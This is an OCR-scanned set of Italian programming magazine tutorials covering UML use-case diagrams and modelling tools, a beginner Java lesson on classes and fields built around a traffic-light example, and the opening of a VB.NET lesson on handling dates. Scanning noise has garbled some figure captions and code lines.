Fig. 2: Use Case Diagram dello scenario descritto
Supponiamo di voler descrivere un sistema che per-
metta ad un cliente di effettuare un ordine (per il
momento non ci interessano i dettagli), il diagram-
ma che descrive questo scenario di operatività e visi-
bile in Fig. 2. Le cose però non sono sempre così
semplici, spesso ci si trova a gestire sistemi che con-
sentono l'interazione di attori diversi che utilizzano
numerose funzionalità del sistema, magari suddivi-
se in sottosistemi omogenei e che magari hanno tra
loro relazioni di parentela sofisticate, per descrivere
sistemi di questo genere è necessario specializzare il
concetto di relazione, e fare in modo che sia più
descrittivo e faccia comprendere che tipo di relazio-
ne intercorre tra attori o tra casi d'uso.
TIPI DI RELAZIONI
Le tipologie di relazione a disposizione negli Use
Case Diagram sono le seguenti:
Associazione: mette in comunicazione un attore
con il caso d'uso con il quale interagisce;
Estensione: una relazione di estensione dal caso
d'uso A al caso d'uso B indica che il secondo può
includere, in determinate condizioni, il comporta-
mento del primo;
Generalizzazione: è una relazione che intercorre tra
un caso d'uso più generale ed uno più specifico che
eredita dal primo alcune funzionalità e lo specializ-
za aggiungendone delle altre;
Inclusione: è una relazione che intercorre tra un
caso d'uso di base ed uno più generale che ne con-
tiene le funzionalità.
Per tornare al nostro esempio si può supporre che,
in linea generale, l'operazione "Acquistare un pro-
dotto" 'implichi spesso la consultazione di un catalo-
go, ecco quindi entrare in gioco la relazione di esten-
sione tra i due use case, come illustrato in Fig. 3.
In questo caso abbiamo l'operazione di consultazio-
ne del catalogo che in certe condizioni può essere
svolta in dipendenza dell'operazione di acquisto di
Cromare or"; prodotto
;o:r:\rrroro catalogo
un prodotto. Nell'ottica di gestire un negozio in
senso generale, è possibile che il nostro sistema
possa accettare ordini attraverso la modalità on-line
(cioè attraverso un canale indiretto) oppure in
modalità off-line (cioè direttamente in negozio). In
questo caso è ragionevole pensare che il sistema si
comporti in maniera differente in un caso rispetto
all'altro, pertanto è bene specializzare le operazioni
attraverso la relazione di generalizzazione verso l'o-
perazione più generale.
OrCiilì-MS I.!"! pi0"J0;iO
Ordinare un prodotto onlir
Fig. 4: La relazione di generalizzazione.
In Fig. 4 si può vedere come le due diverse operazio-
ni di ordine on-line e off-line si possano generaliz-
zare nell'unica operazione di ordinare un prodotto.
In ogni caso, sia che si tratti di un ordine on-line che
off-line, è necessario che l'esercente raccolga i dati
del cliente, in un caso per le operazioni di spedizio-
ne, nell'altro per l'eventuale richiesta di un acconto.
Ecco quindi entrare in gioco la relazione di inclusio-
ne che prevede che una certa operazione sia obbli-
gatoriamente eseguita in corrispondenza di un'altra.
Nel caso specifico, come si può vedere in Fig. 5, l'o-
perazione di raccolta dati è inclusa (cioè deve essere
eseguita in corrispondenza di) alle due operazioni di
ordine.
^Ordinare un prodotto orline
Gì i,r:*(t '.:" ì:::":.: .b '::-. ■■rvp.-rXc.
t-
-X_
Raccogliere i dati del cliente Qa
Fig. 5: La relazione di inclusione.
Allo stesso modo, nel caso l'ordine venga fatto nella
modalità on-line, sarà obbligatorio far intervenire un
altro attore del sistema deputato alla gestione del
pagamento on-line, ad esempio con una carta di cre-
Gateway di
pagamento
1
rtiir; ■ : : ine
__Gestire il pagamento onlìne_
I
BIBLIOGRAFIA
Il testo che non può
mancare nella
biblioteca di chi scrive
UML:
• THE UNIFIED
MODELING LANGUAGE
USER GUIDE
Booch, Jacobson,
Rumbaugh
(Addison Wesley)
1999
Altri testi interessanti
sull'argomento:
• OBJECT ORIENTED
SOFTWARE
CONSTRUCTION,
SECOND EDITION
Bertrand Meyer
(Prentice Hall)
1997
• VISUAL MODELING
WITH RATIONAL AND
UML
Terry Quatrani
(Addison Wesley)
1998
Fig. 3: La relazione di estensione tra due use case.
Fig. 6: Ancora una relazione di inclusione tra use
case.
CORSO BASE T
I
Unified Modelling Language
UMLE
LE AZIENDE
Qui di seguito l'elenco
dei contributor che
hanno adottato come
standard UML, i quali
provvedono alla sua
divulgazione e che
hanno aderito e
tuttora contribuiscono
al suo sviluppo:
Accenture
Ericsson
Hewlett-Packard
l-Logix
IBM
ICON Computing
Intellicorp
ISE
MCI Systemhouse
Microsoft
ObjectTime
Oracle Platinum
Technology
Computer Associates
PTech
Rational Software
Reich Technologies
Softeam
Sterling Software
Taskon
Texas Instruments
Unisys
dito. In questo caso è necessario creare un altro use
case, cioè un'altra operazione, in relazione di inclu-
sione con l'ordinazione on-line. Questa parte dello
scenario è visibile in Fig. 6. Se mettiamo insieme
tutte le componenti dello scenario che abbiamo
disegnato otteniamo il diagramma di Fig. 7 che de-
scrive tutto il nostro sistema. Come vediamo l'attore
Cliente interagisce con il sistema Negozio per ordina-
re un prodotto, il che implica la consultazione di un
catalogo per la selezione del prodotto da ordinare.
Nel caso in cui si tratti di un ordine on-line allora
sarà necessario gestire il pagamento on-line attra-
verso un altro attore, un sistema gateway esterno,
nel caso in cui si tratti di un ordine in negozio sarà
necessario gestire la ricezione dell'acconto ed a que-
sto è deputato un nuovo attore, il sottosistema di
gestione clienti.
Fig. 7: Lo scenario completo di un possibile programma.
UHI ALTRO ESEMPIO
Supponiamo di dover gestire un sistema di prenota-
zioni per le visite mediche in una clinica privata. Gli
attori in gioco sono: il paziente, l'impiegato che
effettua le prenotazioni, il medico e l'impiegato del-
l'ufficio amministrazione. Le operazioni che il siste-
ma deve gestire sono le seguenti: registrare un ap-
puntamento, cancellarlo, verificare la storia clinica
del paziente, richiedere la visita medica, il pagamen-
to del conto e l'eventuale finanziamento. Il diagram-
ma che rappresenta questo scenario è mostrato in
Fig. 8. Come si può vedere il contesto generale è la
clinica, nella quale l'attore Paziente interagisce con
l'impiegato alle prenotazioni per prenotare un ap-
puntamento e per cancellarlo. La prestazione, inve-
ce, è il caso d'uso in cui c'è interazione tra il Pazien-
te ed Medico. Infine il Paziente interagisce con Yim-
Fig. 8: Un esempio completo di modellazione tramite
Use Case Diagram.
piegato amministrativo per poter pagare il conto
della prestazione medica. Dal punto di vista dei casi
d'uso si può vedere che il pagamento del conto, in
certe condizioni, può implicare la gestione di un
finanziamento, mentre la richiesta della prestazione
e la prenotazione dell'appuntamento richiedono un
confronto con la storia clinica del paziente. Ecco co-
me si scrive e come si legge uno Use Case Diagram.
STRUMENTI PER LA
MODELLAZIONE UML
Un tool di modellazione dedicato ad un linguaggio
complesso e totalmente visuale come UML è, in
generale, un prodotto complesso che deve permette
all'utente non solo il disegno di un sistema, ma la
sua progettazione, ricordiamo infatti che l'obiettivo
di UML non è soltanto la rappresentazione di uno
scenario, ma la sua definizione e la sua progettazio-
ne. Non è sufficiente, quindi, un semplice tool di
disegno, che già sarebbe comunque uno strumento
sufficientemente complesso, ma è necessario che
tool sia in grado di guidare l'analista ed il progettista
nello studio del sistema da progettare con caratteri-
stiche e facilities dedicate proprio alla progettazione
ed al refactoring.
Together ControlCenter
Prodotto di TogetherSoft, azienda recentemente
acquisita da Borland, è il tool con il quale sono stati
disegnati i diagrammi di questo articolo. Si tratta di
uno strumento completo che permette la definizio-
ne di sistemi e scenari attraverso tutti i diagrammi
previsti dallo standard UML 1.3 ed in aggiunta pro-
pone una serie di altri diagrammi che, uniti a quelli
standard, premettono una definizione completa dei
sistemi. Together è anche un ambiente di sviluppo
fava che consente di realizzare il codice contestual-
mente alla definizione dei Class Diagram (di cui par-
leremo nel prossimo articolo), cosa che può essere
molto comodo nella progettazione di sistemi Object
Oriented in cui è possibile progettare il sistema e
ritrovarsi gratuitamente lo scheletro delle classi già
pronto, con i riferimenti per la compilazione al
posto giusto e che, a condizione di configurare cor-
rettamente l'ambiente, compila il tutto rendendo
l'applicazione già funzionante. Altre caratteristiche
salienti del prodotto sono:
• la possibilità di essere esteso con plugin, molti
dei quali disponibili gratuitamente;
• l'impossibilità di creare diagrammi fuori dallo
standard UML, non è possibile ad esempio lega-
re due attori attraverso una relazione di associa-
zione;
• la presenza di tool molto evoluti per la gestione
analitica di audit e metriche sul codice sviluppato;
Unified Modelling Language
I
T CORSO BASE
• le ottime caratteristiche di debugging e di refac-
toring evoluto;
• la possibilità di riconoscimento di eventuali pat-
tern utilizzati nella progettazione per la produ-
zione di codice di qualità;
• la produzione di reportistica di elevata qualità
configurabile attraverso meccanismi di template.
Una versione di valutazione di Together Control-
Center è scaricabile dal sito TogetherSoft / Borland
all'indirizzo http://www.togethersoft.com/. Dopo il
download vi verrà inviata via email una licenza che
vi consentirà di utilizzare il prodotto per un periodo
limitato di tempo e di apprezzarne tutte le ottime
caratteristiche. Uno screenshot del Together
ControlCenter è visibile in Fig. 9.
parte di importanti aziende e riviste specializzate. Si
avvale della collaborazione di più di cento partner
differenti che hanno contribuito a renderlo un otti-
mo prodotto per l'analisi e la progettazione di siste-
mi software Object Oriented. Uno screenshot di
Rationl Rose è disponibile in Fig. 10.
ArgoUML
Si tratta del primo storico prodotto Open Source per
la progettazione visuale UML realizzato presso
l'Università della California, il cui scopo è fornire un
valido supporto all'analisi e alla progettazione di
sistemi software Object Oriented. È un progetto che
coinvolge circa un centinaio di persone tra ricerca-
tori e studenti. ArgoUML è conforme alle specifiche
UML 1.3 ed è l'unico case tool (a parte Poseidon) che
implementa il metamodello UML esattamente co-
me è specificato. Uno screenshot di Argo UML è
disponibile in Fig. 1 1
w
Fig. 9: L'ambiente di Together ControlCenter.
Rational Rose
Rational Rose è senza dubbio il CASE tool commer-
ciale più popolare e più utilizzato. È prodotto dalla
Rational Software Corporation, azienda leader nel
settore; è basato esso stesso sul linguaggio UML,
infatti in origine fu concepito dagli stessi autori di
UML come il primo strumento per la modellazione
visuale di diagrammi UML. Occorre però sottolinea-
re che Rational Rose, al contrario di altri tool, non
implementa il metamodello UML esattamente
come è specificato, ma utilizza una propria rappre-
sentazione interna dei modelli. Rational Rose ha
ottenuto numerosi e autorevoli riconoscimenti da
Fig. IO: L'ambiente di Rational Rose.
Fig. 11: L'ambiente di ArgoUML
Poseidon
Poseidon, della GentleWare, è una incarnazione di
ArgoUML. Si tratta, infatti, di un congelamento di
una delle release stabili del prodotto Open Source,
cui aggiunge una serie di funzionalità importanti che
ne fanno un tool dalle caratteristiche molto interes-
santi. Le possibilità di design offerte da Poseidon
sono davvero molte e consentono, per esempio, la
generazione di diagrammi anche fuori dallo stan-
dard. Questo può anche essere considerata una
caratteristica negativa, ma è certamente una possibi-
lità aggiuntiva offerta al progettista. Lo strumento
non ha le funzionalità da tool di sviluppo di Together,
ma a partire dai diagrammi generati è possibile pro-
durre il codice sorgente attraverso una funzionalità
di export. E' possibile scaricare gratuitamente la ver-
sione Community di Poseidon dal sito della Gentle-
Ware (www.gentleware.com), mentre ne esistono al-
tre versioni a pagamento. L'ultima versione disponi-
bile sul sito consente di generare diagrammi compa-
tibili con la specifica 2.0 di UML e 1.2 di XML
Massimo Canducci
IL CONSORZIO
OMG
OMG (Object
Management Group) è
il comitato di
standardizzazione
delle tecnologie ad
object oriented.
Tutti gli standard
finora approvati
dall'ente di
standardizzazione
sono poi diventati
standard de facto,
questo è indice della
qualità della
procedura di
standardizzazione.
Nel Gennaio del 1997
la versione 1.0 di UML
viene offerta per la
standardizzazione al
consorzio OMG. Poco
più tardi, esattamente
il 14 Novembre dello
stesso anno, OMG
adotta la versione 1.1
come standard.
La notazione prende
piede a partire dalla
versione 1.3; oggi UML
è sicuramente la
metodologia di analisi
e design ad oggetti più
diffusa ed adottata in
ambito professionale.
CORSI BASE T
I
Java
Rudimenti di programmazione orientata agli ogetti
Costruire... Cose-
classi, oggetti e campi
Finora hai imparato alcune basi della programmazione in generale:
le variabili, i tipi, le istruzioni di controllo come fore if.
Ora è il momento della programmazione orientata agli oggetti.
r '■ "\
Q CD Q WEB
lava 0B.zip
= p--..-„.,.:,|„„,l„„„-.
^
OBIETTIVI
DI QUESTA
LEZIONE
Questa lezione e quella
del mese prossimo
sono davvero
importanti:
1) Imparerai a definire
delle classi.
2) Userai le classi per
creare degli oggetti.
3) Scoprirai cosa sono i
campi.
Se hai già esperienza di programmazione "tradi-
zionale", avrai forse qualche problema iniziale
a capire gli oggetti. Non ti arrendere alle prime
difficoltà. Se invece non hai ancora assunto un
modo di pensare "non orientato agli oggetti", non
dovresti avere grandi difficoltà. Un'altra cosa: questa
sarà una lezione un po' meno pratica del solito,
quindi non stupirti se incontri meno esercizi del
normale.
CONTROLLIAMO
IL TRAFFICO
Immaginiamo di voler scrivere un complesso siste-
ma di controllo del traffico urbano. Come dici? Non
ti senti ancora in grado di fare una cosa così compli-
cata? Naturale - se ne fossi già capace, non avresti
bisogno di seguire questo corso. Ma stai tranquillo:
per ora ci basterà costruire un oggetto semplice,
come un semaforo. Ecco un programmino assoluta-
mente stupido che "simula" un semaforo. Voglio solo
giocare un po' con le luci del semaforo, e usarle per
decidere se la mia automobile deve partire o restare
ferma. Questo programma non serve assolutamente
a nulla, ma sarà un utile punto di partenza.
class Incrociol {
public static void main(String[] args){
// costruisci il semaforo
boolean verde;
boolean giallo;
boolean rosso;
// ripeti il ciclo del semaforo cinque volte
for(int i = 1; i <= 5; i ++) {
// il semaforo diventa verde
verde = true;
giallo = false;
rosso = false;
// stampa lo stato del semaforo sullo schermo:
System. out.println("V: " + verde + ", G: " + giallo
+ ", R: " + rosso);
// possiamo passare?
if(verde)
System. out.println("Go!");
else
System. out.println("Stop!");
// il semaforo diventa giallo
verde = true;
giallo = true;
rosso = false;
// stampa lo stato del semaforo sull
d sch
ermo:
System. out.println("V: " + verde +
+ ",
', G:
R: "
" + giallo
+ rosso);
// possiamo passare?
if(verde)
System. out.println("Go!");
else
System. out.println("Stop!");
// il semaforo diventa rosso
verde = false;
giallo = false;
rosso = true;
// stampa lo stato del semaforo sull
d sch
ermo:
System. out.println("V: " + verde +
+ ",
', G:
R: "
" + giallo
+ rosso);
// possiamo passare?
if(verde)
System. out.println("Go!");
else
System. out.println("Stop!"); }
}
}
Il programma deve, per prima cosa, costruire il se-
maforo. E qui subito ho dovuto risolvere un proble-
ma: come faccio a mettere insieme un semaforo?
Java mi permette di costruire variabili di diversi tipi,
come int e char, ma ovviamente non esistono le
variabili di tipo "semaforo". Per simulare il semaforo
ho quindi scelto di usare tre variabili insieme, cia-
scuna delle quali rappresenta una delle tre luci del
semaforo. Dato che una luce può essere accesa o
spenta ho usato il tipo boolean, che può assumere
solo due valori. Ho scelto per convenzione di usare
true per indicare una luce accesa, e false per indica-
re una luce spenta (avrei potuto fare il contrario, ma
Java
T CORSI BASE
la scelta mi sarebbe sembrata meno "naturale").
boolean verde;
boolean giallo;
boolean rosso;
Poi ho usato un for per simulare cinque "cicli
semaforici". Ogni ciclo inizia con il semaforo verde,
perché la luce verde è accesa e le altre due sono
spente.
verde = true;
giallo = false;
rosso = false;
L'istruzione successiva stampa lo stato delle tre luci
sullo schermo:
System. out.println("V: " + verde + ", G: " + giallo + ",
R: " + rosso);
A questo punto lascio una decisione al programma:
dobbiamo fermarci al semaforo o possiamo passa-
re?
if( verde)
System
out
println("Go!");
else
System
out
println("Stop!");
In ciascun ciclo il semaforo diventa prima "verde"
(verde acceso, giallo e rosso spenti), poi "giallo"
(verde e giallo accesi, rosso spento) e poi rosso
(verde e giallo spenti, rosso acceso). In tutti e tre i
casi ho ripetuto le stesse operazioni di prima: stam-
po lo stato del semaforo, poi scelgo tra "Stop!" e
"Go!". Il tutto viene ripetuto per cinque volte. Il risul-
tato sullo schermo è:
...e così via. Naturalmente questo programma non
serve a nulla, ma con un salto di fantasia potresti
immaginarne una versione utile. Ad esempio, cosa
faresti se ti chiedessero di controllare un vero
semaforo? Forse scriveresti un programma simile a
questo, però il ciclo da 1 a 5 diventerebbe un ciclo
infinito. Tra uno scatto e l'altro del semaforo dovre-
sti ovviamente aggiungere una pausa. Al posto delle
stampe sullo schermo potresti scrivere del codice
che in qualche modo comunica con il vero semafo-
ro, ad esempio attraverso una connessione di rete, e
gli dice quale configurazione deve assumere. Il codi-
ce che sceglie tra "Stop!" e "Go!" in base alle luci del
semaforo potrebbe essere sostituito da istruzioni
che fanno saltar fuori dal semaforo un piccolo car-
tello con le scritte "Stop" e "Go", come in quei bei
semafori dei vecchi film americani - oppure, più rea-
listicamente, potrebbe essere usato per comunicare
uno stato semplificato dell'incrocio ad un centro di
monitoraggio del traffico. Come vedi, se immagini di
sostituire la stampa sullo schermo con delle comu-
nicazioni di rete questo programmino diventa già
meno stupido. O meglio, lo diventerebbe... Se non
fosse davvero un brutto programma.
MARGINI
MIGLIORAMENTO
Esercizio 1: Il programma Incrociol ha parecchi seri
problemi. Vediamo se il tuo istinto ti guida sulla stra-
da giusta: prova a dire cosa, in questo programma,
non ti piace.
Io ti dirò subito cosa non piace a me. Questo pro-
gramma ha almeno due problemi.
Primo problema: La prima cosa che non mi piace è
che in nessun punto del programma compare il
concetto di semaforo. Certo, abbiamo tre variabili
che lo rappresentano. Ma mi piacerebbe poter usare
una sola variabile, che mi renderebbe la vita più faci-
le. Il codice sarebbe più compatto e pulito, e correrei
meno rischi di sbagliare - sia quando imposto le luci
del semaforo che quando vado a leggerne la confi-
gurazione. Come farei se dovessi inserire altri tre
semafori nell'incrocio? Dovrei aggiungere altre nove
variabili! Potrei risolvere in parte il problema orga-
nizzando ciascun semaforo come un array di tre
booleani anziché come tre booleani distinti, ma la
soluzione mi sembra ancora un po' troppo compli-
cata. E se volessi cambiare la rappresentazione dei
semafori (ad esempio trasformare le tre luci in due
sole luci per un semaforo pedonale) dovrei andare a
modificare tutti i semafori del programma.
Secondo problema: Incrociol contiene un sacco di
codice duplicato. L'istruzione di stampa sullo scher-
mo è ripetuta, esattamente identica, ben tre volte,
come pure Yif. Il codice duplicato è una pessima
cosa, per un paio di motivi. Primo: rende tutto meno
leggibile (e infatti per chiarire cosa succede ho dovu-
to ricorrere ai commenti, anche se il programma fa
cose semplicissime). Secondo: se voglio modificare
la stampa o le condizioni, mi tocca cambiare il codi-
ce in tre punti anziché in un punto solo. Cosa succe-
derebbe se volessi modificare il programma in modo
che la combinazione verde /giallo risulti in uno
"Stop!" anziché in un "Go!", per diminuire le possibi-
lità di incidenti? E cosa succederebbe se dovessi
CONVENZIONI,
TANTO
PER CAMBIARE
Le convenzioni di Java
per quanto riguarda i
nomi degli oggetti
sono le stesse usate
per i nomi di variabili
primitive: caratteri
tutti minuscoli, con
l'eccezione (nei nomi
composti da più paro-
le) del primo carattere
di ciascuna parola suc-
cessiva alla prima. Ad
esempio: luceVerde,
semaforo o
incrocioSemaforico. Ti
ricordo che i nomi
delle classi hanno inve-
ce la prima lettera
maiuscola
(Indirizzolnternet,
Semaforo o
IncrocioSemaforico).
Come al solito il com-
pilatore ignora queste
convenzioni, ma ti con-
siglio di seguirle rigo-
rosamente se vuoi che
i tuoi programmi siano
ben leggibili. E' sem-
pre bene poter distin-
guere al volo il nome
di una classe da quello
di un oggetto.
CORSI BASE T
I
Java
OOP!
"OOP" sta per Object-
Oriented
Programming,
programmazione
orientata agli oggetti.
LOOP si è imposta tra
gli anni '80 e gli anni
'90, ed è arrivata al
grande successo
commerciale con i
linguaggi C++ prima, e
Java poi. La
caratteristica
fondamentale della
programmazione
object-oriented sta
nella possibilità di
definire nuovi tipi e
(come vedrai il mese
venturo) nuove
operazioni su questi
tipi. La maggior parte
dei vecchi linguaggi di
programmazione
"procedurali", come il
C e le prime versioni di
Visual Basic, non
consentivano di creare
nuovi tipi.
usare il programma per controllare un semaforo nei
paesi anglosassoni, dove spesso i semafori passano
attraverso quattro stati invece che tre (verde, gial-
lo/verde, rosso, giallo/rosso e poi ancora verde)? In
quest'ultimo caso dovrei addirittura duplicare il
codice una quarta volta, con il rischio di sbagliare
qualcosa.
Esercizio 2: Se ne hai voglia, prova ad applicare al
programma le due modifiche che ho appena propo-
sto.
Questi problemi possono essere risolti in diversi
modi. Visto che stiamo usando Java, che è un lin-
guaggio object-oriented, useremo gli strumenti
della programmazione a oggetti. Cominceremo dal
primo dei due problemi, che è anche il meno pres-
sante. Il mese venturo ne sapremo abbastanza per
risolverli entrambi.
IL MOSTRO
muovo TIPO
Dicevamo che non esiste un tipo Java che rappre-
senta un semaforo. Per fortuna non devi necessa-
riamente accontentarti dei tipi già disponibili, per-
ché Java ti permette di creare nuovi tipi. Per farlo
devi definire un "modello", uno stampino che dice
come si chiama e come è fatto il nuovo tipo. Per
definire questo stampino devi usare la parola chia-
ve class.
Questo potrebbe stupirti un po', perché fino ad ora
hai usato la parola class per definire un programma
(una classe è il contenitore per un mainQ). Per
adesso puoi semplicemente pensare che questa
parola chiave sia un po' come il prezzemolo.
Quando usi class per definire un nuovo tipo, non hai
bisogno di un mainQ. Ad esempio puoi scrivere un
file di nome Semaforo.java che contiene questo
codice:
class Semaforo {
boolean verde;
boolean giallo;
boolean rosso; }
Questo file definisce una classe, cioè un nuovo tipo.
Puoi compilarlo con il solito javac.exe, e il risultato
sarà un file di nome Semaforo.class. Però, a differen-
za dei programmi, non puoi eseguire la classe
Semaforo nella Java Virtual Machine, perché questa
classe non contiene un mainQ. In cambio contiene
tre variabili strane, che stanno lì sospese nel vuoto
senza un mainQ intorno.
Questo codice è una dichiarazione. Dice a Java:
voglio definire un nuovo tipo; voglio che questo tipo
si chiami Semaforo; e voglio il tipo Semaforo sia
composto da tre variabili di tipo boolean che si chia-
mano verde, giallo e rosso. Insomma: ho preso tre
variabili di un tipo già esistente, ho dato loro dei
nomi che mi piacciono e le ho messe insieme per
formare un nuovo tipo. Le tre variabili booleane si
chiamano campi della classe Semaforo.
Naturalmente scoprirai presto alcune differenze tra i
dpi che hai visto finora, come int e boolean, e il tipo
Semaforo. Infatti i tipi come int si chiamano tipi pri-
mitivi del linguaggio Java, mentre i tipi come
Semaforo si chiamano, per distinguerli, classi.
Ora che hai la classe Semaforo, cosa te ne fai? Intanto
puoi fare tre cose fondamentali che già facevi con i
tipi primitivi:
1) puoi definire e inizializzare una variabile del
nuovo tipo;
2) puoi assegnare un valore alla variabile;
3) puoi leggere il valore della variabile.
IL MITO
DELLA CREAZIONE
Per definire e inizializzare una variabile del nuovo
tipo devi usare la parola chiave new:
Semaforo s = new Semaforo();
Questa istruzione non è poi molto diversa da quella
che avresti usato per definire, ad esempio, una
nuova variabile intera:
int
La parte a sinistra dell'operatore di assegnamento è
praticamente uguale nei due casi: il nome del tipo
seguito dal nome della variabile. Una variabile
come i si chiama variabile primitiva, perché il suo
tipo è un tipo primitivo. Una variabile come 5 è un
po' diversa dalle variabili primitive, perché il suo
tipo è una classe. Si dice che 5 è un'istanza (o un
oggetto) della classe Semaforo, o semplicemente
che 5 è un Semaforo. D'ora in poi userò i termini
"oggetto" oppure "istanza" al posto di "variabile"
tutte le volte che avremo a che fare con variabili
"non primitive". Mentre la parte a sinistra dell'asse-
gnamento (la dichiarazione) è più o meno uguale
per i tipi primitivi e per gli oggetti, la parte a destra
(l'inizializzazione) è diversa.
Puoi assegnare direttamente un valore ad una
variabile primitiva, ma non puoi fare lo stesso con
un oggetto. Questo è naturale: come fai ad espri-
mere il "valore" di un Semaforo, che è composto da
tre variabili insieme? Inoltre gli oggetti non vengo-
no al mondo da soli: devi crearli, in modo molto
simile agli array.
Per creare un oggetto usa la parola chiave new
seguita dal nome della classe e da una coppia di
parentesi tonde (vedrai in futuro che a volte c'è
Java
I
T CORSI BASE
qualcosa nelle parentesi, ma per ora non te ne
preoccupare) .
Ricapitoliamo: abbiamo definito una classe Sema-
foro, e poi l'abbiamo usata per costruire un ogget-
to Semaforo. Puoi pensare alla classe come a uno
stampo: la classe Semaforo definisce quali caratte-
ristiche devono avere i semafori in generale, e puoi
usarla per creare dei "veri semafori", cioè delle
istanze. Le istanze somigliano alle variabili, nel
senso che ciascun semaforo è un oggetto comple-
tamente separato e può assumere valori diversi
dagli altri semafori. Allo stesso modo potremmo
avere una classe Cane che ci serve per costruire dei
cani, e le sue istanze potrebbero chiamarsi fido,
pluto o melampo.
ANDAR PER CAMPI
Dopo che hai costruito un Semaforo puoi assegnar-
gli un valore. Ma come? Il valore di un Semaforo è
composto da tre campi booleani, quindi il modo più
facile è assegnare un valore a ciascuno di questi tre
campi. Per referenziare il campo di un oggetto devi
usare il nome dell'oggetto, seguito da un punto,
seguito dal nome del campo. Ad esempio:
Semaforo s = new Semaforo();
s. rosso = true;
System. out.println(s. rosso); // stampa "true"
Naturalmente s.rosso identifica il campo rosso del
semaforo 5. Se crei un secondo semaforo di nome
altroSemaforo, allora s.rosso e altroSemaforo.rosso
sono due campi distinti che non hanno alcuna rela-
zione tra loro. Un'altra domanda interessante è:
quanto vale un campo prima che tu gli abbia asse-
gnato un valore?
Semaforo s = new Semaforo();
System. out.println(s. giallo); // stampa "false"
Java inizializza automaticamente i campi degli
oggetti, così come fa con i componenti degli array (ti
ricordo che le variabili primitive devono invece
essere inizializzate in modo esplicito, pena un erro-
re di compilazione). I valori di default dei campi
sono gli stessi dei componenti degli array: gli int
sono inizializzati a 0, i boolean a. false, e così via.
E se i valori di default non ti piacciono? Allora puoi
assegnare il valore iniziale che preferisci ai campi di
tutti gli oggetti di classe Semaforo. Puoi dichiarare
questi valori iniziali nella classe, nello stesso punto
in cui definisci i campi. Ad esempio: se non ti piace
l'idea di costruire un semaforo con tutte e tre le luci
spente, puoi fare in modo che tutti i semafori "appe-
na nati" siano verdi:
class Semaforo {
Nota che per chiarezza ho inizializzato esplicita-
mente a false i campi giallo e rosso, anche se il com-
pilatore lo avrebbe fatto automaticamente. Ora pos-
siamo usare la classe Semaforo per riscrivere il pro-
gramma senza usare le tre variabili separate. Provaci
da solo.
Esercizio 3: Prova a scrìvere un programma Incro-
cio2 simile a Incrocio 1, ma usando un oggetto di
classe Semaforo. Ricorda che questo programma
non è più composto da un solo file, ma da due
[Incrocio2.java e Semaforo. java), la classe Semafo-
ro.class deve essere nella stessa directory di Incro-
cio2.java se vuoi che il programma venga compilato
ed eseguito regolarmente. Ecco la soluzione:
class Incrocio2 {
public static void main(String[] args){
//crea il semaforo
Semaforo s = new Semaforo();
// ripeti il ciclo del semaforo cinque volte
for(int i = 1; i <= 5; i++) {
// il semaforo diventa verde
s.verde = true;
s. giallo = false;
s.rosso = false;
// stampa lo stato del semaforo sullo schermo:
System. out.printlnf'V: " + s.verde + ", G: " +
s. giallo + ", R: " + s.rosso);
// possiamo passare?
if(s. verde)
System. out.println("Go!");
else
System. out.println("Stop!");
Ho trascritto solo la parte iniziale del programma,
ma non farai fatica ad immaginare il resto. Le parti
modificate sono in grassetto. Ora il semaforo è
un'entità ben identificata nel nostro codice. Certo,
potevamo ottenere lo stesso risultato definendo cia-
scun semaforo come un array di tre luci. Dopo tutto
il nuovo tipo non è che un aggregato di variabili,
tanto che ti starai forse chiedendo se è valsa la pena
di utilizzare un intero articolo solo per imparare a
creare degli oggetti così stupidi. In effetti il resto del
codice è diventato ancora più prolisso, perché
abbiamo aggiunto il nome dell'oggetto di fronte a
tutti i riferimenti alle tre luci. Perché tanta fatica,
dunque? Lo vedrai il mese prossimo, quando done-
remo intelligenza a questi semafori stupidi.
Scoprirai che la classe Semaforo è il primo passo
per risolvere anche il problema della duplicazione
del codice, che ancora non abbiamo affrontato.
Paolo Perrotta
FILOSOFIA
DEI DUE MONDI
Un programma simula
e risolve nel mondo
del computer un pro-
blema che viene dal
mondo reale (come ad
esempio ordinare una
lista di clienti, o con-
trollare un incrocio).
Ma i linguaggi di pro-
grammazione sono
strumenti limitati.
Questo viaggio tra il
"mondo reale" e il
"mondo del calcolato-
re" richiede quindi una
certa fatica, esperienza
e un po' di immagina-
zione. Più i due mondi
sono lontani, più il
viaggio è difficile.
La programmazione a
oggetti ci permette di
creare nuovi tipi che
modellano le entità del
mondo reale. Come
leggerai questo mese e
il mese prossimo, un
semaforo può essere
un "vero semaforo"
anziché semplicemente
un insieme di tre varia-
bili. Quindi la program-
mazione OOP accorcia
la distanza tra il cosid-
detto "spazio del pro-
blema" (il mondo
reale) e lo "spazio
della soluzione" (il
programma per com-
puter).
CORSI BASE T
I
Visual Basic .NET
I controlli e le fun zioni di manipolazione delle date
La gestione delle date
Per la gestione delle date. Visual Basic .NET mette a disposizione due
controlli: MonthCalendar e DateTimePicker, in questa puntata ci
occuperemo dei loro infiniti usi.
Q CD Q WEB
videoteca.zip
*rr =;Lr ' ' ' ' "
DATECHAIMGED
L'evento DateChanged
si verifica quando
cambia la data o
l'intervallo di date
selezionato; ad
esempio, quando
l'utente modifica in
modo esplicito una
selezione all'interno
del mese corrente o
quando la selezione
viene modificata in
modo implicito in
risposta allo
spostamento sul mese
successivo o
precedente.
Ly uso dei controlli MonthCalendar e Date-
TimePicker è consigliabile ogni qualvol-
I ta si devono gestire delle date, poiché
permettono di selezionare, facilmente, una
data con un semplice clic del mouse, evitando
ogni controllo sul formato corretto. Prima di
descrivere i due controlli faremo, inoltre, un
breve riepilogo sulle operazioni con variabili di
tipo data [Date]
ATTRIBUIRE UN
VALORE AD UNA DATA
Una variabile di tipo Date può contenere una
data compresa nell'intervallo fra il 1 gennaio 100
e il 31 dicembre 9999, ed orari compresi fra le
0.00.00 e le 23.59.59. I valori di data ed ora non
sono memorizzati internamente in VB .NET
come numeri a virgola mobile, ma come un
intero di 64 bit (8 byte), per questo non sono
più supportate alcune funzioni di manipolazio-
ne delle date presenti in VB6. I valori da asse-
gnare ad una variabile di tipo Date possono
essere racchiusi tra due virgolette (") come le
normali stringhe, oppure tra due simboli can-
celletto (#). Utilizzando le virgolette è possibile
attribuire qualsiasi valore di data riconoscibile.
Ad esempio, si possono assegnare ad una varia-
bile datai i seguenti valori:
Dim datai As Date
datai = "15-dic-2003"
datai = "15/12/2003"
datai = "15/dicembre/03"
Utilizzando il simbolo cancelletto il formato
della data deve essere, necessariamente, del
tipo mese/ giorno/anno, ad esempio:
datai = #12/15/2003*
Il formato del messaggio, con cui mostriamo il
valore di datai, risultato dell'istruzione:
